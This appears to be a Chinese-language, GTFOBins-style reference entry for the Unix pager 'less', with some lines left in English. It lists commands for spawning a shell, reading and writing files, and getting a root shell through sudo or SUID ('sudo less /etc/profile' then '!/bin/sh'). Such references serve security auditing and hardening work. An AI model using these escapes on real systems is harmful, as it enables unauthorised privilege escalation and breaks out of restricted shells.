用来生成一个交互式的系统shell。
less /etc/profile
!/bin/sh
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
less /etc/profile
v:shell
从文件中读取数据。
less 要读取的文件路径
This is useful when less
is used as a pager by another binary to read a different file. less /etc/profile
:e 要读取的文件路径
将数据写入文件中。
echo DATA | less
s要写入的文件
q
This invokes the default editor to edit the file. The file must exist. less 要写入的文件
v
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo less /etc/profile
!/bin/sh
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./less 要读取的文件路径